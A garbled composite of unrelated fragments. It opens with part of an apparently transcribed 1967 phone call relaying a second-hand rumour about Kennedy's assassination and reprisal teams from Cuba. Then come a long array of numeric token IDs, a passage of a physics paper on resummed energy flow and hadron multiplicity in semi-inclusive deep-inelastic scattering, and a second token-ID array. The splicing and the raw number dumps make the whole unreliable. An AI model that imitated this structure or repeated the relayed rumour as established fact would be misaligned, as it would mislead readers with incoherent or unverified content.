picked up and interviewed by the FBI and the Secret Service, but did not reveal a great deal of information which was _available_. One of the teams was composed of Lee Harvey Oswald; this fella [Clay] Shaw, that has just been arrested in New Orleans yesterday; and the [deceased] man [named David] Ferrie; plus one _other_ man. They were teams of four. And there were two _other_ teams that I know nothing about. WINS Radio has had some reporters, according to the media here, in _Cuba_... working on various angles of this thing for the past [few] days. They also have a team of reporters _in_ New Orleans _with_ Garrison. In Cuba they found, according—[and] this is _very_ confidential, and _all_ of this is not goin' on the air... _at all_.90 But in Cuba... and the two reporters that they had there were working from different angles and came together with _exactly_ the same story. The story—that they're _not_ going to publish—is that after the [1962] missile crisis, President Kennedy and [Nikita] Khrushchev had made a deal to leave Castro in power. But about six months after the missile crisis was _over_, the CIA was _instructed_ to assassinate Castro... and sent teams into Cuba. Some of 'em were captured and tortured, and Castro and his people—and I assume Che Guevara—heard the whole story.91 The information they have here, which they're _not_ gonna run, is that President Kennedy did _not_ [put] the order to the CIA, but that some _other_ person extremely close to President Kennedy _did_. They did not name the man... but the inference was very clear. The _inference_ was... that it was his _brother_ [who] ordered the CIA to send a team into Cuba to assassinate Castro. Then one of Castro's _lieutenants_, as a reprisal measure, sent four teams in[to] the United States to assassinate President Kennedy. [And] that Lee Harvey Oswald _was_ [one of the] members of the team operating out of New Orleans. Now this is the story that they _think_ they have. This is the information that was given to me tonight, less than an hour ago, by a reporter named Paul Smith, who came here to [instruct] Charley Payne, whom I knew in Texas. [Payne was] a radio man down there, and he's now the general manager of WINS. I thought this would be of interest to you. I know nothing more about it than that, but I thought you oughta know that. **
[ 474, 1055, 13, 10775, 271, 4465, 2803, 370, 18, 16, 91, 63, 19, 5, 534, 310, 12125, 275, 253, 3268, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 4632, 15, 575, 5, 89, 64, 39, 1352, 7243, 436, 4465, 2803, 310, 5176, 13, 359, 923, 432, 2667, 23505, 339, 356, 962, 696, 67, 326, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 5459, 41907, 1037, 285, 9086, 347, 370, 91, 5, 7274, 5058, 15, 496, 643, 3000, 13, 253, 370, 82, 64, 53, 5, 3268, 3862, 561, 9086, 672, 370, 91, 5, 12075, 15, 831, 3879, 310, 5512, 8156, 407, 253, 2969, 370, 91, 2911, 6820, 1327, 44931, 800, 14893, 28101, 2803, 370, 52, 768, 11236, 1603, 67, 13, 50, 13, 89, 13, 91, 1009, 1677, 275, 6354, 27114, 47936, 348, 35333, 8001, 187, 187, 510, 5281, 273, 253, 501, 360, 1314, 2831, 2593, 387, 370, 82, 64, 53, 393, 3040, 608, 5, 22542, 285, 253, 30364, 45031, 273, 370, 52, 768, 11236, 1603, 67, 13, 50, 13, 89, 13, 91, 1009, 497, 6777, 281, 22950, 253, 4345, 875, 253, 501, 360, 1314, 3268, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 575, 10936, 15, 575, 5, 89, 64, 39, 5, 285, 253, 773, 13472, 941, 668, 49694, 7836, 13663, 2667, 23505, 339, 356, 962, 696, 67, 481, 5317, 1447, 339, 356, 962, 696, 67, 2722, 326, 253, 501, 360, 1314, 10272, 310, 275, 1805, 4345, 342, 253, 941, 2792, 685, 253, 427, 8372, 2048, 15, 844, 452, 1119, 352, 2834, 281, 18302, 253, 5233, 3116, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 347, 370, 89, 64, 39, 393, 376, 470, 5, 275, 2057, 2746, 15, 496, 253, 2852, 13, 352, 588, 320, 4722, 281, 923, 849, 247, 625, 10799, 10527, 1263, 588, 320, 2104, 281, 18212, 5513, 436, 5233, 3116, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 275, 253, 2919, 370, 89, 64, 39, 393, 376, 470, 1366, 7384, 326, 253, 4588, 5661, 941, 323, 253, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 575, 10936, 15, 575, 5, 89, 64, 39, 5, 3268, 28788, 253, 773, 13472, 941, 668, 5469, 1840, 15, 187, 187, 510, 501, 20440, 318, 671, 3012, 11852, 253, 370, 81, 64, 53, 5, 10096, 273, 253, 6636, 8091, 29994, 15, 496, 2667, 23505, 1397, 304, 69, 431, 696, 359, 1246, 253, 3268, 3019, 18, 6602, 2592, 578, 23877, 2311, 187, 69, 61, 2592, 16, 12132, 64, 53, 1352, 844, 923, 326, 501, 20440, 318, 2538, 1364, 320, 2908, 281, 6266, 253, 5281, 273, 436, 3268, 387, 370, 81, 64, 53, 393, 3040, 187, 18, 5, 22542, 15, 5488, 13, 501, 20440, 318, 671, 19132, 253, 4345, 875, 253, 3762, 285, 253, 3368, 275, 253, 2644, 2491, 273, 370, 81, 64, 53, 1352, 11970, 6354, 27114, 81, 18269, 9014, 253, 5520, 5740, 273, 253, 370, 82, 64, 53, 5, 3268, 275, 253, 1355, 14595, 82, 64, 53, 5, 2919, 30376, 715, 247, 1805, 4345, 342, 253, 370, 81, 64, 53, 5, 3268, 275, 253, 2644, 2491, 273, 370, 81, 64, 53, 1352, 3771, 347, 275, 253, 1083, 273, 253, 370, 91, 2911, 5449, 13, 253, 4229, 14, 2621, 10272, 4245, 247, 2281, 326, 310, 1512, 1355, 2429, 281, 253, 941, 13, 534, 8018, 326, 2169, 14, 2621, 17660, 403, 1774, 15, 20539, 253, 3426, 2367, 1179, 473, 3713, 1637, 64, 84, 63, 19, 1009, 17660, 403, 2130, 13, 253, 501, 20440, 318, 30221, 13, 534, 2168, 8553, 323, 253, 954, 1774, 9021, 275, 253, 2919, 273, 253, 3408, 2317, 342, 253, 4585, 2281, 49694, 74, 15, 70, 904, 4622, 387, 1355, 370, 82, 64, 53, 17673, 11029, 347, 247, 1805, 10527, 10554, 275, 253, 2644, 2491, 273, 370, 81, 64, 53, 1352, 187, 187, 10971, 13, 2667, 23505, 1397, 304, 9665, 71, 696, 2722, 253, 370, 89, 64, 39, 2911, 35360, 323, 253, 6636, 8091, 29994, 3019, 18, 6602, 2592, 578, 23877, 2311, 69, 61, 2592, 16, 9665, 64, 39, 1352, 844, 923, 326, 1097, 253, 501, 360, 1314, 285, 4229, 14, 2621, 10670, 403, 275, 5272, 4345, 342, 253, 941, 285, 342, 4321, 3863, 10527, 1543, 323, 253, 2367, 1179, 473, 3713, 1637, 64, 84, 1009, 370, 89, 64, 39, 2911, 8155, 8303, 1008, 40, 42433, 12586, 1570, 1198, 253, 4229, 14, 2621, 29994, 13, 359, 1246, 767, 3081, 9191, 3969, 281, 1027, 10165, 273, 253, 39401, 4311, 669, 1906, 64, 39, 5, 275, 3891, 12690, 6113, 696, 558, 253, 2406, 285, 5170, 24817, 9191, 2723, 281, 669, 1906, 64, 39, 187, 30, 17, 15, 22, 1165, 5, 285, 370, 19, 1165, 1366, 2975, 15, 5838, 326, 253, 4311, 10096, 273, 253, 427, 8372, 29994, 5459, 672, 370, 91, 61, 376, 470, 1352, 5220, 3877, 326, 253, 501, 360, 1314, 29994, 310, 3012, 2406, 685, 253, 941, 275, 253, 767, 8840, 27925, 273, 370, 89, 64, 39, 5, 11443, 4841, 1269, 64, 39, 393, 3799, 426, 187, 17, 15, 29631, 5, 285, 370, 17, 15, 9312, 17673, 533, 5185, 342, 253, 427, 8372, 29994, 1561, 253, 11649, 1955, 281, 253, 4311, 10096, 15, 6102, 3879, 273, 253, 501, 360, 1314, 29994, 1543, 432, 253, 10096, 273, 253, 2367, 1179, 473, 3713, 1637, 64, 84, 1009, 10235, 3470, 2367, 1179, 330, 1990, 483, 313, 18, 20669, 5830, 3713, 8752, 1182, 13, 36, 64, 18, 13, 36, 64, 19, 13, 67, 15570, 1337, 1906, 64, 39, 1009, 327, 253, 3081, 1307, 669, 6677, 61, 20122, 5, 534, 369, 1677, 275, 24118, 27114, 36, 18, 483, 3851, 285, 3891, 36, 18, 483, 19, 3851, 285, 5469, 387, 253, 990, 273, 5238, 1447, 4538, 18548, 4207, 831, 4016, 42407, 36807, 253, 2367, 1179, 330, 1990, 483, 313, 18, 10392, 14, 20619, 387, 1077, 1355, 2193, 273, 669, 20122, 1352, 10244, 13, 253, 9909, 3891, 47, 8372, 6113, 3851, 273, 253, 427, 8372, 2831, 2593, 689, 253, 8840, 10269, 370, 17, 393, 3040, 2805, 64, 53, 63, 19, 393, 3040, 313, 82, 64, 53, 768, 33032, 21161, 19, 370, 7024, 327, 669, 6677, 464, 20122, 724, 949, 253, 2426, 46764, 313, 18, 16945, 27468, 67, 480, 1181, 367, 13380, 75, 247, 1181, 6734, 559, 367, 13380, 67, 480, 1181, 313, 2769, 18, 14, 1572, 14767, 75, 247, 1181, 12062, 347, 1677, 275, 3891, 55, 18, 47, 8372, 8001, 28161, 1037, 13, 436, 10096, 310, 1679, 17088, 685, 275, 253, 501, 360, 1314, 2831, 2593, 15, 1198, 370, 91, 61, 20089, 470, 15, 18, 1366, 253, 5675, 4311, 10096, 273, 253, 29994, 275, 253, 2367, 1179, 473, 3713, 1637, 64, 84, 1009, 10272, 6492, 326, 440, 15793, 264, 2169, 14, 2621, 2538, 2489, 1774, 285, 403, 3058, 281, 3157, 253, 3762, 13650, 15, 1198, 1650, 13, 1690, 253, 2367, 1179, 473, 3713, 1637, 63, 19, 64, 84, 1009, 10235, 2367, 1179, 330, 2026, 5830, 8814, 19, 10392, 275, 253, 501, 360, 1314, 10272, 588, 320, 3309, 281, 3157, 253, 5740, 273, 253, 6636, 8091, 29994, 275, 253, 1355, 14595, 91, 5, 2919, 15, 187, 187, 14146, 285, 11815, 1712, 4538, 18786, 94, 187, 48666, 187, 187, 688, 436, 2929, 359, 452, 4821, 253, 5955, 273, 253, 2538, 273, 2709, 629, 251, 7742, 275, 10020, 14, 249, 7426, 3676, 14, 249, 25563, 11715, 326, 369, 3053, 275, 1008, 2224, 90, 9595, 1570, 844, 452, 5183, 326, 841, 2538, 4833, 247, 1781, 966, 273, 34658, 285, 476, 320, 2529, 342, 253, 1361, 273, 247, 501, 20440, 318, 30221, 1008, 46, 1205, 19, 62, 326, 310, 2074, 281, 253, 501, 20440, 318, 30221, 908, 281, 3157, 253, 10527, 5740, 273, 2341, 14, 14115, 13007, 275, 370, 70, 4526, 70, 33026, 574, 287, 25307, 1008, 5166, 554, 358, 1092, 285, 1355, 14595, 81, 64, 53, 5, 4972, 32438, 3275, 387, 574, 1406, 14, 10178, 1406, 3007, 5852, 1008, 30928, 1570, 187, 187, 8430, 436, 30221, 3198, 2007, 7756, 13, 275, 1798, 275, 253, 5199, 323, 11038, 253, 501, 360, 1314, 6970, 342, 253, 43939, 906, 275, 253, 5502, 2919, 13, 352, 2168, 19132, 253, 4345, 875, 253, 3762, 285, 253, 941, 285, 3400, 4722, 16039, 670, 18276, 3386, 273, 10020, 14, 249, 7426, 15724, 15, 844, 452, 5183, 326, 253, 501, 20440, 318, 30221, 8631, 253, 10585, 263, 522, 14283, 10670, 273, 253, 17430, 2341, 2685, 625, 13613, 685, 253, 427, 8372, 10272, 28, 436, 30221, 671, 556, 1175, 2442, 281, 3157, 253, 5740, 273, 2710, 10670, 273, 8091, 29994, 15, 187, 187, 4509, 776, 1783, 359, 7525, 326, 253, 21657, 4080, 370, 82, 64, 53, 5, 3268, 323, 253, 2341, 2685, 3862, 561, 9086, 347, 370, 89, 393, 376, 470, 1352, 831, 5233, 44448, 273, 253, 370, 82, 64, 53, 5, 3268, 476, 320, 8156, 604, 253, 1327, 44931, 800, 14893, 28101, 2803, 275, 253, 501, 360, 1314, 2341, 2685, 5459, 347, 370, 18, 16, 89, 1352, 10244, 13, 253, 370, 82, 64, 53, 5, 3268, 323, 253, 6636, 8091, 29994, 3862, 561, 9086, 672, 370, 91, 393, 376, 470, 1366, 534, 310, 5185, 342, 253, 1327, 44931, 800, 14893, 28101, 2803, 3629, 347, 370, 91, 2497, 18, 15, 21, 3363, 380, 256, 15857, 1327, 44931, 800, 14893, 28101, 2616, 387, 1355, 2193, 273, 370, 89, 5, 285, 370, 91, 5, 403, 3103, 36143, 1027, 432, 253, 1929, 1327, 44931, 800, 14893, 28101, 2616, 323, 4972, 32438, 3275, 285, 370, 70, 4526, 70, 33026, 574, 287, 25307, 13, 534, 513, 417, 3469, 327, 253, 14854, 4903, 387, 512, 15, 380, 5233, 3116, 273, 253, 1327, 44931, 800, 14893, 28101, 2803, 275, 256, 15857, 1537, 5224, 326, 253, 370, 554, 5, 3007, 1334, 20467, 34, 5216, 253, 501, 20440, 318, 30221, 275, 247, 747, 18525, 9459, 13, 534, 369, 417, 5421, 2568, 387, 3007, 5852, 273, 643, 3510, 15, 187, 187, 2512, 403, 2067, 10527, 7794, 273, 253, 501, 20440, 318, 30221, 326, 476, 320, 31637, 672, 625, 5661, 941, 403, 3863, 15, 11243, 253, 6253, 11649, 275, 253, 13650, 273, 253, 501, 20440, 318, 30221, 3249, 432, 253, 7202, 1327, 44931, 800, 9021, 13, 534, 275, 253, 370, 67, 2911, 5641, 30221, 403, 2908, 275, 253, 1327, 44931, 800, 14893, 28101, 2803, 370, 52, 768, 11236, 1603, 67, 3822, 496, 436, 2929, 13, 359, 452, 3559, 2969, 30364, 21100, 569, 273, 370, 52, 768, 11236, 1603, 67, 1009, 323, 253, 17430, 2341, 2685, 313, 7836, 15, 6354, 27114, 47936, 91, 696, 1228, 285, 6636, 8091, 29994, 313, 7836, 15, 6354, 27114, 47936, 348, 35333, 3851, 481, 2053, 30364, 21100, 569, 497, 1119, 407, 13532, 253, 501, 360, 1314, 2341, 2685, 285, 6636, 8091, 29994, 281, 253, 941, 432, 41966, 6334, 41, 18, 91, 18, 28, 1214, 41, 18, 91, 19, 62, 285, 7567, 6334, 9339, 3016, 348, 35333, 4196, 1092, 2975, 15, 25632, 6341, 3345, 253, 2491, 273, 1110, 941, 588, 1056, 352, 1896, 281, 2007, 3157, 841, 30364, 21100, 569, 285, 13, 7613, 13, 253, 7200, 273, 253, 501, 20440, 318, 30221, 15, 187, 187, 510, 954, 15246, 1039, 281, 1263, 370, 52, 768, 11236, 1603, 67, 1009, 310, 407, 10499, 253, 7629, 273, 253, 370, 82, 64, 53, 5, 9408, 273, 3520, 13483, 1955, 281, 10575, 273, 581, 40395, 474, 4778, 13, 342, 643, 4903, 4229, 390, 11962, 760, 275, 247, 1355, 2491, 15, 1198, 253, 2341, 2685, 13, 352, 651, 320, 12912, 281, 4044, 625, 941, 387, 370, 89, 2239, 884, 2497, 19, 3303, 835, 253, 13650, 273, 253, 501, 20440, 318, 30221, 476, 320, 5762, 625, 27340, 13, 1293, 2442, 20418, 1955, 281, 253, 1355, 14595, 89, 5, 12057, 15, 8035, 4722, 1953, 310, 253, 10096, 273, 253, 1327, 44931, 800, 14893, 28101, 2803, 327, 253, 7503, 414, 370, 50, 5, 273, 253, 4972, 32438, 15, 831, 10096, 476, 320, 5762, 407, 12392, 253, 370, 82, 64, 53, 5, 9408, 275, 247, 2491, 273, 370, 50, 5, 342, 4209, 5661, 6064, 275, 253, 1655, 27159, 2919, 15, 6610, 13, 281, 1263, 2538, 273, 2709, 629, 251, 7742, 327, 10020, 14, 249, 7426, 3275, 273, 2060, 574, 9036, 13, 352, 588, 320, 4722, 281, 923, 253, 370, 82, 64, 53, 5, 9408, 323, 8091, 3275, 30840, 1005, 342, 253, 3081, 7658, 370, 91, 2239, 470, 15, 1762, 393, 3549, 470, 15, 18, 1366, 3921, 74, 15, 70, 904, 4622, 275, 253, 40395, 474, 2919, 835, 253, 30364, 21100, 569, 273, 253 ]	ical effect, namely an extra factor $1/z^2$ which is absent in the distribution of $\langle q_T^2 \rangle$ vs. $x_F$. Once this extra factor is removed, we see from Fig.\[seagull\]b that $\langle q_T^2 \rangle$ increases monotonically and rapidly as $z$ approaches zero. In other words, the $q_T$ distribution broadens rapidly when $z$ decreases. This behavior is approximately realized by the simple $z$-dependent nonperturbative Sudakov factor $S^{NP}(b,Q,x,z)$ given in Eq.(\[SNPchgd\]). The shape of the resummed cross section at $q_T \leq 5$ GeV and the parametrization of $S^{NP}(b,Q,x,z)$ were chosen to maximize the agreement between the resummed distribution of $\langle q_T^2 \rangle$ vs. $x_F$ and the “derived data” ([cf.]{} Fig.\[seagull\]b). Figure\[seagull\]b shows that the resummed calculation is in better agreement with the data points than the NLO expression. We have found it difficult to reproduce the rapid growth of $\langle q_T^2 \rangle$ as $x_F \ra 0$ in either approach. In the future, it will be interesting to see how a more precise theoretical study will be able to adequately explain this rapid growth of $\langle q_T^2 \rangle$ in the region $x_F \ra 0$, assuming that the actual experimental data for the $\langle q_T^2 \rangle$ vs. $x_F$ distribution resemble the “derived data” discussed above. The resummation also significantly affects the $p_T$ dependence of the charged particle multiplicity. In Fig.\[dsigdpt\] we present the distribution $(1/\sigma_{tot}) d\sigma/dp_T$. We see that resummation effects must be included to describe the shape of this distribution at $p_T \leq 1$ GeV. Furthermore, resummation also improves the agreement between the theory and the experiment in the whole range of $p_T$. Through Eq.(\[pTB\]), the improved description of the $q_T$ distribution in the small-$q_T$ region translates into a better agreement with the $p_T$ distribution in the whole range of $p_T$. Just as in the case of the $z$-flow, the fixed-order calculation gives a rate that is too small compared to the data, which implies that higher-order corrections are important. Until the complete ${\cal O}(\alpha_s^2)$ corrections are available, the resummation formalism, which already accounts for the most important contributions in the region of the phase space with the highest rate ([i.e.,]{} at small $q_T$), serves as a better theoretical prediction in the whole range of $p_T$. Finally, Fig.\[dsigdxf\] shows the $x_F$-distribution for the charged particle multiplicity $(1/\sigma_{tot})d\sigma/dx_F$. We see that both the resummed and fixed-order distributions are in reasonable agreement with the data and with earlier published theoretical results for the ${\cal O}(\alpha_s)$ $x_F$-distributions [@Graudenz]. For the fixed-order multiplicity, we present two additional curves corresponding to different choices of the factorization scale $\mu_F$ in (\[factcs\]); the lower and upper dotted curves correspond to $\mu_F =0.5 Q$ and $2 Q$, respectively. Note that the scale dependence of the NLO multiplicity increases when $z\ra 0$. Also note that the resummed multiplicity is significantly lower than the data in the two lowest bins of $x_F$ ($\langle x_F \rangle = 0.075$ and $0.125$), but consistent with the NLO multiplicity within the uncertainty due to the scale dependence. Such behavior of the resummed multiplicity results from the dependence of the ${\cal O}(\alpha_s)$ coefficient functions ${\cal C}^{out (1)}_{ba}(\widehat z,C_1,C_2,b_,\mu_F)$ on the additional term $\ln\zh$ which was given in Eqs.(\[C1out\]) and (\[C1out2\]) and discussed at the end of Section\[SecSummary\]. This negative logarithm dominates the ${\cal C}^{out (1)}$-functions at very small values of $\zh$. Similarly, the integral (\[NLOcs\]) of the NLO cross section over the lowest bin $0 \leq q_T^2 \leq (q_T^{sep})^2 $ depends on $\ln{\zh}$ through the terms -( (1-) \_[b j]{} P\_[j a]{} () + P\_[b j]{} ()(1-)\_[j a]{} ), as given in (\[V1NLO\]). Numerically, this dependence is less pronounced than in the resummed cross section. For $z\lesssim 0.1$, the growing scale dependence of the multiplicity in the ${\cal O}(\alpha_s)$ calculation indicates that unaccounted higher-order effects become important and are needed to improve the theory predictions. For example, including the ${\cal O}(\alpha^2_s)$ coefficient ${\cal C}_{ba}^{(2)}$ in the resummed calculation will be necessary to improve the description of the charged particle multiplicity in the small-$z$ region. Discussion and conclusions {#SecConclusion} ========================== In this paper we have continued the discussion of the effects of multiple parton radiation in semi-inclusive deep-inelastic scattering that was started in [@nsy1999]. We have demonstrated that these effects influence a large class of observables and can be described with the help of a resummation formalism [@Meng2] that is similar to the resummation formalism used to improve the theoretical description of energy-energy correlations in $e^+e^-$ hadroproduction [@CSepem], and small-$p_T$ vector boson production at hadron-hadron colliders [@CSS]. Although this formalism needs further improvement, in particular in the procedure for matching the resummed curve with the perturbative result in the transition region, it already improves the agreement between the theory and the data and provides interesting insights about qualitative features of semi-inclusive DIS. We have demonstrated that the resummation formalism describes the pseudorapidity distributions of the transverse energy flow more accurately than the NLO calculation; this formalism also has good potential to improve the description of various distributions of particle multiplicity. From our analysis we conclude that the experimentally measured $q_T$ distribution for the energy flow broadens rapidly as $x \ra 0$. This rapid broadening of the $q_T$ distribution can be realized if the nonperturbative Sudakov factor in the resummed energy flow increases as $1/x$. Similarly, the $q_T$ distribution for the charged particle multiplicity broadens rapidly when $z \ra 0$, which is consistent with the nonperturbative Sudakov factor increasing as $z^{-1.4}$. The sDIS nonperturbative Sudakov factors at small values of $x$ and $z$ are therefore qualitatively different from the known nonperturbative Sudakov factors for vector boson production and $e^+e^-$ hadroproduction, which do not depend on the longitudinal variables at all. The rapid growth of the nonperturbative Sudakov factor in sDIS might indicate that the $ep$ collider HERA tests the resummation formalism in a new dynamical regime, which was not studied yet at colliders of other types. There are several theoretical aspects of the resummation formalism that can be clarified when more experimental data are published. Perhaps the largest uncertainty in the predictions of the resummation formalism comes from the unknown nonperturbative contributions, which in the $b$-space formalism are included in the nonperturbative Sudakov factor $S^{NP}(b)$. In this paper, we have presented simple parametrizations of $S^{NP}(b)$ for the transverse energy flow (cf. Eq.(\[SNPz\])) and charged particle multiplicity (cf. Eq.(\[SNPchgd\])). These parametrizations were found by fitting the resummed energy flow and charged particle multiplicity to the data from Refs.[@H1z1; @H1z2] and Ref.[@ZEUSchgd96], respectively. Experimental measurements outside the range of those data will make it possible to further improve these parametrizations and, hence, the accuracy of the resummation formalism. The most straightforward way to study $S^{NP}(b)$ is by measuring the variation of the $q_T$ spectra of physical quantities due to variations of one kinematical variable, with other variables fixed or varying only in a small range. For the energy flow, it would be beneficial to obtain more data at $x > 10^{-2}$, where the predictions of the resummation formalism can be tested more reliably, without potential uncertainties due to the small-$x$ physics. Another interesting question is the dependence of the nonperturbative Sudakov factor on the virtuality $Q$ of the vector boson. This dependence can be tested by studying the $q_T$ spectra in a range of $Q$ with sufficient experimental resolution in the current fragmentation region. Finally, to study effects of multiple parton radiation on semi-inclusive production of individual hadrons, it will be interesting to see the $q_T$ spectra for particle production multiplicities with the additional constraint $z > 0.05 \sim 0.1$, [i.e.,*]{} in the kinematical region where the parametrizations of the
[ 23395, 342, 776, 294, 46089, 3213, 15, 3973, 13, 359, 878, 281, 3653, 604, 368, 31259, 4973, 273, 1113, 1768, 313, 3022, 11789, 390, 20951, 481, 1422, 1833, 320, 5175, 436, 1309, 634, 294, 46089, 15, 2635, 13, 2378, 368, 871, 752, 12344, 4973, 368, 1472, 10826, 342, 13, 368, 476, 3368, 342, 4627, 272, 634, 4583, 12344, 10820, 285, 6523, 849, 368, 1928, 15, 3856, 310, 752, 436, 1537, 1007, 751, 27, 187, 187, 1394, 2427, 327, 253, 25787, 14, 49, 1079, 80, 6196, 285, 3543, 1805, 15, 3954, 13, 368, 588, 320, 294, 36445, 2844, 12134, 326, 497, 417, 4136, 327, 253, 25787, 14, 49, 1079, 80, 6196, 13, 751, 20951, 285, 7353, 20951, 15, 1422, 513, 436, 13, 285, 597, 1646, 4030, 15, 1422, 840, 2118, 327, 281, 12134, 417, 4136, 327, 253, 38856, 80, 6196, 13, 751, 11789, 15, 23773, 369, 671, 10826, 15, 187, 187, 4125, 359, 871, 368, 476, 31259, 841, 12134, 13, 533, 253, 1953, 310, 13, 588, 368, 1928, 1805, 672, 368, 6008, 841, 12344, 14, 43200, 12134, 11719, 13, 534, 588, 2572, 634, 5312, 12344, 10820, 32, 187, 187, 1394, 1024, 823, 247, 1355, 9417, 273, 11789, 13, 14408, 13, 390, 7353, 14408, 281, 1016, 11484, 323, 247, 4564, 273, 1897, 13, 285, 923, 849, 368, 1928, 15, 1422, 812, 1385, 634, 12344, 23891, 604, 368, 1871, 751, 13, 533, 368, 1053, 626, 878, 281, 15, 380, 1921, 368, 1053, 626, 878, 281, 310, 984, 368, 1472, 417, 9602, 323, 247, 1677, 1180, 390, 1268, 533, 2581, 10054, 4116, 281, 923, 672, 634, 2133, 9193, 1682, 15, 187, 187, 3039, 952, 2572, 616, 1113, 1768, 13, 597, 4366, 581, 273, 767, 1841, 27, 597, 1928, 1805, 13, 390, 597, 1928, 7197, 15, 4683, 2282, 13, 604, 368, 1928, 7197, 13, 4796, 634, 1113, 1768, 15, 1310, 368, 1928, 1805, 13, 4035, 342, 253, 1113, 1768, 15, 2726, 673, 285, 8310, 13, 368, 943, 16359, 715, 253, 987, 1268, 273, 12344, 10820, 323, 368, 15, 1310, 368, 1053, 626, 4366, 667, 3064, 672, 9123, 625, 390, 11184, 1113, 1768, 1128, 14829, 37230, 15, 1422, 452, 247, 30708, 17493, 326, 476, 34298, 327, 2057, 15, 187, 187, 4118, 28481, 12344, 4973, 187, 187, 2042, 368, 4366, 368, 1928, 1805, 342, 247, 10290, 281, 2169, 12344, 10820, 13, 1060, 310, 247, 1618, 273, 2169, 14, 41293, 12134, 326, 5257, 281, 789, 973, 323, 954, 27, 535, 50276, 11, 5219, 11789, 187, 50276, 11, 5219, 14408, 187, 50276, 11, 26048, 14408, 187, 50276, 11, 4051, 10284, 14, 4924, 10238, 3580, 187, 50276, 11, 473, 1832, 187, 50276, 11, 21307, 1550, 187, 50276, 11, 16211, 2623, 13, 13586, 80, 13, 340, 86, 18442, 187, 50276, 11, 33538, 357, 12727, 187, 50276, 11, 14656, 313, 4160, 14, 40, 6329, 10, 187, 187, 4118, 1720, 46089, 39994, 187, 187, 19515, 841, 1841, 275, 2564, 347, 368, 294, 36445, 336, 12134, 27, 535, 50276, 11, 1720, 36445, 336, 432, 253, 1755, 273, 776, 39694, 1066, 15, 187, 50276, 11, 11075, 634, 294, 46089, 342, 346, 6678, 1592, 3, 12134, 806, 15, 187, 50276, 11, 15358, 281, 294, 36445, 336, 12134, 581, 387, 247, 673, 15, 2490, 50274, 11, 831, 7729, 20843, 534, 12134, 403, 20276, 15, 1310, 368, 294, 36445, 336, 2620, 12134, 387, 253, 1072, 673, 285, 452, 247, 4884, 13, 352, 434, 1892, 281, 1333, 534, 2739, 4269, 352, 15, 187, 50276, 11, 1198, 247, 1677, 2739, 13, 1611, 281, 452, 247, 1643, 1296, 723, 247, 1388, 323, 247, 1643, 1897, 15, 2490, 50274, 11, 733, 434, 417, 512, 390, 5293, 15, 3808, 952, 476, 31259, 1355, 8322, 273, 9632, 12134, 13, 594, 1907, 247, 1643, 1296, 723, 588, 1361, 368, 4271, 604, 368, 452, 247, 2176, 7887, 15, 187, 50276, 11, 380, 625, 5460, 634, 45458, 13, 253, 625, 4755, 352, 588, 320, 2220, 294, 46089, 1128, 30407, 253, 625, 5460, 634, 4884, 588, 320, 15, 187, 50276, 11, 38078, 634, 12344, 10820, 310, 629, 273, 253, 294, 46089, 15, 33851, 281, 634, 2133, 347, 368, 294, 36445, 336, 12134, 326, 403, 12344, 14086, 13, 285, 4575, 15672, 15, 187, 50276, 11, 5037, 626, 4446, 4834, 10412, 342, 4278, 15, 2490, 50274, 11, 19296, 1943, 5406, 285, 670, 752, 368, 513, 954, 273, 253, 673, 15, 5037, 626, 43922, 689, 7017, 15048, 4278, 390, 670, 271, 19322, 745, 14, 11139, 11484, 15, 187, 50276, 11, 25792, 1037, 45735, 634, 294, 46089, 15, 2490, 50274, 11, 831, 310, 752, 359, 403, 2509, 1024, 9418, 187, 187, 4118, 3856, 403, 247, 1643, 3081, 2792, 4409, 43962, 187, 187, 1835, 2325, 13224, 187, 187, 1394, 878, 281, 1089, 253, 987, 6196, 795, 1542, 368, 4414, 1422, 452, 2668, 14779, 5018, 281, 20658, 634, 11479, 594, 326, 368, 476, 31259, 253, 3862, 383, 2491, 273, 12134, 1896, 13, 285, 1024, 359, 588, 3653, 752, 326, 2491, 310, 275, 776, 294, 46089, 3213, 15, 7900, 332, 368, 990, 598, 13, 320, 13224, 275, 634, 6196, 15, 5037, 626, 1918, 275, 281, 3473, 432, 5017, 368, 1239, 327, 253, 7336, 15, 1310, 368, 16359, 715, 247, 1698, 14, 41293, 2746, 13, 368, 778, 1239, 326, 1698, 12344, 310, 3076, 984, 352, 346, 7873, 1634, 634, 11479, 19775, 449, 844, 1849, 2168, 4274, 3938, 264, 436, 4473, 13, 594, 452, 7162, 326, 604, 436, 310, 752, 9193, 1682, 323, 368, 13, 795, 262, 310, 64, 253, 1682, 323, 368, 15, 2207, 13, 604, 368, 452, 11371, 715, 247, 2169, 14, 41293, 2746, 13, 368, 778, 1239, 326, 2169, 14, 41293, 25257, 476, 2847, 2801, 6351, 285, 8401, 15, 1292, 359, 1849, 2168, 10062, 670, 849, 690, 952, 588, 2686, 513, 1805, 342, 616, 2801, 285, 2614, 8618, 327, 247, 2169, 14, 41293, 6196, 15, 1893, 13, 320, 13224, 326, 253, 6196, 368, 1928, 1682, 327, 310, 253, 1682, 6196, 323, 368, 285, 323, 634, 4451, 17493, 15, 187, 187, 5498, 626, 7277, 4834, 281, 3780, 2010, 15, 1310, 634, 3331, 1057, 1270, 327, 8783, 273, 9538, 285, 1029, 14, 39, 3519, 13820, 12134, 1128, 12311, 323, 617, 15, 2064, 1511, 273, 6196, 778, 1086, 2542, 2571, 15, 1893, 320, 10826, 342, 253, 6196, 795, 5658, 64, 1928, 1682, 327, 1128, 25224, 263, 634, 4451, 17493, 15, 1244, 13, 4754, 13, 1014, 604, 634, 3331, 556, 1270, 27665, 13, 352, 2506, 626, 1599, 368, 943, 956, 617, 6196, 15, 3808, 952, 452, 352, 3477, 13, 285, 597, 588, 452, 1270, 27665, 642, 2647, 752, 597, 6008, 13, 816, 751, 690, 952, 588, 3297, 6906, 642, 2647, 752, 597, 6008, 15, 831, 2506, 626, 1599, 368, 943, 1007, 281, 841, 952, 323, 15048, 7535, 15, 3771, 984, 690, 952, 452, 644, 18445, 247, 27949, 6380, 1133, 1057, 417, 1599, 597, 452, 667, 22796, 752, 597, 403, 2509, 15, 10215, 776, 6495, 14, 249, 14, 25, 1232, 13, 285, 4035, 281, 789, 949, 352, 15, 831, 588, 755, 368, 281, 253, 1682, 285, 3862, 383, 6196, 